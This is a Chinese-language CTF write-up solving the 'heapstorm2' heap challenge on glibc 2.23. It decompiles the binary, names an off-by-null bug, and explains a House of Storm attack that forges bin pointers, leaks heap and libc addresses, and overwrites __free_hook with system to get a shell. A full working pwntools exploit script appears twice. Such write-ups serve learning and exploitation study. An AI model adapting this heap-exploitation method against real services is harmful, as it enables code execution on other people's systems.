前言
这里太过于细节的知识点请看
https://bbs.kanxue.com/thread-278871.htm
或者
https://jelasin.github.io
检查文件信息
1
ELF64小端序程序。
2
保护全开。
3
改 glibc 为 2.23。
试运行
4
逆向分析
/* main 函数 */
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]
v4 = Init();
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Update(v4);
break;
case 3LL:
Delete(v4);
break;
case 4LL:
View(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
/* menu 函数 */
int menu()
{
puts("1. Allocate");
puts("2. Update");
puts("3. Delete");
puts("4. View");
puts("5. Exit");
return printf("Command: ");
}
/* Init 函数 */
__int64 Init()
{
int i; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) ) // 关闭fastbin分配
exit(-1);
if ( mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0x13370000 ) // 在0x13370000处 mmap出了一片空间作为heaparray
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, (void *)0x13370800, 0x18uLL) != 0x18 ) // 读入 3 个 0x8 大小的随机数, r1, r2, r3。
exit(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810]; // r4 = r3
for ( i = 0; i <= 15; ++i )
{
*(_QWORD *)(0x10 * (i + 2LL) + 0x13370800) = flower_1(0x13370800LL, 0LL); // ptr = r1 ^ 0
*(_QWORD *)(0x10 * (i + 2LL) + 0x13370808) = flower_2(0x13370800LL, 0LL); // size = r2 ^ 0
}
return 0x13370800LL;
}
/* alloc 函数 */
void __fastcall Allocate(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i ) // 0~15
{
if ( !flower_2(a1, *(_QWORD *)(0x10 * (i + 2LL) + a1 + 8)) )
{
printf("Size: ");
size = get_num();
if ( size > 0xC && size <= 0x1000 )
{
v3 = calloc(size, 1uLL);
if ( !v3 )
exit(-1);
*(_QWORD *)(0x10 * (i + 2LL) + a1 + 8) = flower_2(a1, size);
*(_QWORD *)(0x10 * (i + 2LL) + a1) = flower_1(a1, v3);
printf("Chunk %d Allocated\n", (unsigned int)i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}
/* 不难推测结构体 */
struct Heap
{
void* ptr;
uint size;
};
/* update */
int __fastcall Update(__int64 a1)
{
signed int idx; // [rsp+10h] [rbp-20h]
int size; // [rsp+14h] [rbp-1Ch]
__int64 v4; // [rsp+18h] [rbp-18h]
printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
return puts("Invalid Index");
printf("Size: ");
size = get_num();
if ( size <= 0 || size > (unsigned __int64)(flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) - 12) )// size-0xC
return puts("Invalid Size");
printf("Content: ");
v4 = flower_1(a1, *(_QWORD *)(16 * (idx + 2LL) + a1));
read_n(v4, size);
strcpy((char *)(size + v4), "HEAPSTORM_II"); // off-by-null,读满会把 '\x00' 复制过去。
return printf("Chunk %d Updated\n", (unsigned int)idx);
}
/* del 函数 */
int __fastcall Delete(__int64 a1)
{
void *v2; // rax
signed int idx; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
return puts("Invalid Index");
v2 = (void *)flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
free(v2);
*(_QWORD *)(0x10 * (idx + 2LL) + a1) = flower_1(a1, 0LL);
*(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8) = flower_2(a1, 0LL);
return printf("Chunk %d Deleted\n", (unsigned int)idx);
}
/* view 函数 */
int __fastcall View(__int64 a1)
{
__int64 v2; // rbx
__int64 v3; // rax
signed int idx; // [rsp+1Ch] [rbp-14h]
if ( (*(_QWORD *)(a1 + 0x18) ^ *(_QWORD *)(a1 + 0x10)) != 0x13377331LL ) // 条件 r3 ^ r2== 0x13377331
return puts("Permission denied");
printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(16 * (idx + 2LL) + a1 + 8)) )
return puts("Invalid Index");
printf("Chunk[%d]: ", (unsigned int)idx);
v2 = flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8));
v3 = flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
write_n(v3, v2);
return puts(byte_180A);
}
漏洞利用
我们知道 heaparray 的地址,可以使用 house_of_storm 实现任意地址申请 chunk,这样我们就能控制r3,r4的值,使得show可以使用。然后正常泄露 heap 和 libc ,正常修改各种 hook 即可。
前置脚本
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'
def connect():
global r, elf, libc
r = process('./heapstorm2')
elf = ELF("./heapstorm2")
libc = elf.libc
is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(r, gdbscript=gdbscript)
pause()
else:
pass
def add(size):
r.recvuntil(b"Command: ")
r.sendline(str(1).encode())
r.recvuntil(b"Size: ")
r.sendline(str(size).encode())
def delete(index):
r.recvuntil(b"Command: ")
r.sendline(str(3).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())
def show(index):
r.recvuntil(b"Command: ")
r.sendline(str(4).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())
def edit(index,content):
r.recvuntil(b"Command: ")
r.sendline(str(2).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())
r.recvuntil(b"Size: ")
r.sendline(str(len(content)).encode())
r.recvuntil(b"Content: ")
r.send(content)
布置堆结构
def overlapping():
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2 prev_size 0x510
add(0x18) # 3
add(0x508) # 4
add(0x18) # 5 prev_size 0x510
add(0x18) # 6
#debug() # d1 ----------------------------------
'''覆盖 idx_7'''
edit(1, b'a'*0x4f0 + p64(0x500)) # fake_prev_size
delete(1)
#debug() # d2 ----------------------------------
edit(0, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
#debug() # d3 ----------------------------------
add(0x18) # 1
add(0x4d8) # 7
#debug() # d4 ----------------------------------
delete(1)
delete(2)
#debug() # d5 ----------------------------------
add(0x38) # 1
add(0x4e8) # 2 0x4f0 + 0x40 = 0x530
'''覆盖 idx_8'''
edit(4, b'a'*0x4f0 + p64(0x500))
delete(4)
edit(3, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
add(0x18) # 4
add(0x4d8) # 8
delete(4)
delete(5)
add(0x48) # 4 0x530 - 0x50 = 0x4e0
#debug() # d6 ----------------------------------
delete(2)
#debug() # d7 ----------------------------------
add(0x4e8) # 2 把0x4e1的chunk放入到largebin中
#debug() # d8 ----------------------------------
delete(2) # 把0x4F1的chunk放入到unsorted bin中
#debug() # d9 ----------------------------------
首先布置如下堆结构。
写入 fake_prev_size (0x500) ,然后利用 off-by-null 将 idx_1 的 size 改为 0x500,以便切割时绕过检查。然后申请 0x20 + 0x4e0 的堆块将 0x500 申请出来,此时堆结构如下,此时 idx_2_prev_size = 0x510,释放时会寻找到 idx_1_prev_size 的位置。
6
......
7
然后 free(1) ,在 free(2) 后,可以绕过 unlink 检查。然后将 inuse_idx_7 覆盖。再次申请 0x40 + 0x4f0 = 0x530 大小的 chunk ,将 bins 清空。此时 idx_7_fd -> (unsorted_prev_size - 0x10) 。同理,再次制造 idx_8_fd -> (large_chunk_prev_size-0x20)。然后将 0x4e0 大小的 chunk 放进 large bin,将 0x4f0 大小的 chunk 放进 unsorted bin,以便后续攻击。
leak
def leak():
global free_hook, storage, system, str_bin_sh
storage = 0x13370800
fake_chunk = storage - 0x20
payload = b'\x00' * 0x10
payload += p64(0) + p64(0x4f1)
payload += p64(0) + p64(fake_chunk)
edit(7, payload)
#debug() # d10 ----------------------------------
payload = b'\x00' * 0x20
payload += p64(0) + p64(0x4e1)
payload += p64(0) + p64(fake_chunk+0x8)
payload += p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
#debug() # d11 ----------------------------------
add(0x48) # 2 0x133707e0
#debug() # d12 ----------------------------------
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)
#debug()
payload = p64(0)*2 + p64(0) + p64(0x13377331)
payload += p64(storage) + p64(0x1000) # chunk0 addr size
payload += p64(fake_chunk+3) + p64(8) # chunk1 addr size
edit(0, payload)
#debug()
show(1)
r.recvuntil(b"]: ")
heap = u64(r.recv(6).ljust(8, b'\x00'))
success("heap:"+hex(heap))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
edit(0, payload)
show(1)
r.recvuntil(b"]: ")
malloc_hook = u64(r.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
str_bin_sh = next(libc.search(b'/bin/sh\x00'))
success("malloc_hook:"+hex(malloc_hook))
我们可以通过在 0x13370800 附近申请 0x50 大小的堆块篡改 r3 , r4 来达到 show 的条件。那么 fake_chunk_size 就需要为 0x56 大小,因为 0x56 = 0101 0110B, 可以绕过 mmap 检查,只有地址随机化到 0x56 开头是才可利用成功。需要注意的是 unsortedbin_chunk_size > largebin_chunk_size
8
通过 idx_7 修改 unsorted_chunk_bk = fake_chunk_prev_size。
9
通过 idx_8 修改 largebin_chunk_bk = fake_chunk+0x8,largebin_chunk_bk_nextsize = fake_chunk+0x18-5(截取0x56,因为64位随机化只会随机到 0x55 和 0x56 ,而只有0x56能绕过mmap检查)。
此时去申请一个用户区 0x48 大小 chunk,会执行如下代码。
unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);
av 是我们 unsorted 头(unsorted_chunks(av))(我习惯这样叫,但它并不是我们 unsorted bin 的第一个 chunk ,而是类似 unsorted 的管理者,它的 fd 指向第一个堆块,bk 指向最后一个堆块),将其 bk 指向 fake_chunk。bck->fd = fake_chunk_fd,fake_chunk + 0x10 将指向 unsorted 头((unsorted_chunks(av)))伪造了 fake_chunk_fd 指针和 unsorted 头的 bk 指针,将其添加到了 unsorted bin 中。
/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
然后执行如上代码,unsorted_chunk_bk_nextsize 首先指向 fake_chunk-0x18-5 ,然后 unsorted_chunk->bk_nextsize->fd_nextsize (fake_chunk-0x18-5+0x20) 指向 unsorted_chunk (此时fake_chunk的size被改为0x56)。然后将 bck(fake_chunk+0x8) 的 fd(fake_chunk+0x8+0x10) 指向 unsorted_chunk_prev_size,伪造了 fake_chunk_bk。
10
11
申请的用户区 0x48 的堆块将会把 fake_chunk 摘除来,并且 idx=2。然后把 r3(0x13370810) 改为 0,r4(0x13377818) 改为 0x13377331,即可绕过show检查。alloc 的时候,我们申请 0 堆块是从 0x13370820开始的。我们 edit(2) 是将其地址指向了 0x13370800,我们再去 edit(0) ,保留原来的可以调用 show 的结构,将 chunk0 指向 0x13370800 ,将其大小改为 0x1000,然后将 chunk1 指向 fake_chunk+0x3(也就是原来 unsorted bin 的地址,开始我们截取了0x56作为size那个地址) ,将其大小改为 0x8 (size_t)。因为用于异或的 r1, r2, r3都被改为了0。所以不必担心异或处理。此时 show(1) 即可将堆地址(unsortedbin_chunk)泄露出来。
13
泄露出来的堆地址 unsortedbin_chunk_fd 指向了 libc 地址,同理将其输出即可,然后根据固定偏移计算得到 malloc_hook, free_hook, system, str_bin_sh地址即可。
getshell
def get_shell():
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)
payload += p64(free_hook) + p64(0x100) + p64(str_bin_sh) + p64(8)
edit(0, payload)
edit(1, p64(system))
delete(2)
r.interactive()
最后,我们只需要将 free_hook 地址改为 system 地址,然后将 idx2 指向 str_bin_sh 地址,并 free(2) 即可 getshell。
14
完整exp
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'
def connect():
global r, elf, libc
r = process('./heapstorm2')
elf = ELF("./heapstorm2")
libc = elf.libc
is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(r, gdbscript=gdbscript)
pause()
else:
pass
def add(size):
r.recvuntil(b"Command: ")
r.sendline(str(1).encode())
r.recvuntil(b"Size: ")
r.sendline(str(size).encode())
def delete(index):
r.recvuntil(b"Command: ")
r.sendline(str(3).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())
def show(index):
r.recvuntil(b"Command: ")
r.sendline(str(4).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())
def edit(index,content):
r.recvuntil(b"Command: ")
r.sendline(str(2).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())
r.recvuntil(b"Size: ")
r.sendline(str(len(content)).encode())
r.recvuntil(b"Content: ")
r.send(content)
def overlapping():
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2 prev_size 0x510
add(0x18) # 3
add(0x508) # 4
add(0x18) # 5 prev_size 0x510
add(0x18) # 6
#debug() # d1 ----------------------------------
'''覆盖 idx_7'''
edit(1, b'a'*0x4f0 + p64(0x500)) # fake_prev_size
delete(1)
#debug() # d2 ----------------------------------
edit(0, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
#debug() # d3 ----------------------------------
add(0x18) # 1
add(0x4d8) # 7
#debug() # d4 ----------------------------------
delete(1)
delete(2)
#debug() # d5 ----------------------------------
add(0x38) # 1
add(0x4e8) # 2 0x4f0 + 0x40 = 0x530
'''覆盖 idx_8'''
edit(4, b'a'*0x4f0 + p64(0x500))
delete(4)
edit(3, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
add(0x18) # 4
add(0x4d8) # 8
delete(4)
delete(5)
add(0x48) # 4 0x530 - 0x50 = 0x4e0 idx_8
#debug() # d6 ----------------------------------
delete(2)
#debug() # d7 ----------------------------------
add(0x4e8) # 2
#debug() # d8 ----------------------------------
delete(2)
#debug() # d9 ----------------------------------
def leak():
global free_hook, storage, system, str_bin_sh
storage = 0x13370800
fake_chunk = storage - 0x20
payload = b'\x00' * 0x10
payload += p64(0) + p64(0x4f1)
payload += p64(0) + p64(fake_chunk)
edit(7, payload)
#debug() # d10 ----------------------------------
payload = b'\x00' * 0x20
payload += p64(0) + p64(0x4e1)
payload += p64(0) + p64(fake_chunk+0x8)
payload += p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
#debug() # d11 ----------------------------------
add(0x48) # 2 0x133707e0
#debug() # d12 ----------------------------------
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)
#debug()
payload = p64(0)*2 + p64(0) + p64(0x13377331)
payload += p64(storage) + p64(0x1000)
payload += p64(fake_chunk+3) + p64(8)
edit(0, payload)
#debug()
show(1)
r.recvuntil(b"]: ")
heap = u64(r.recv(6).ljust(8, b'\x00'))
success("heap:"+hex(heap))
payload = p64(0)*2 + p64(0) + p64(0x13377331)
payload += p64(storage) + p64(0x1000)
payload += p64(heap+0x10) + p64(8)
edit(0, payload)
#debug()
show(1)
r.recvuntil(b"]: ")
malloc_hook = u64(r.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
str_bin_sh = next(libc.search(b'/bin/sh\x00'))
success("malloc_hook:"+hex(malloc_hook))
def get_shell():
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)
payload += p64(free_hook) + p64(0x100) + p64(str_bin_sh) + p64(8)
edit(0, payload)
edit(1, p64(system))
delete(2)
r.interactive()
def pwn():
connect()
overlapping()
leak()
get_shell()
if __name__ == "__main__":
pwn()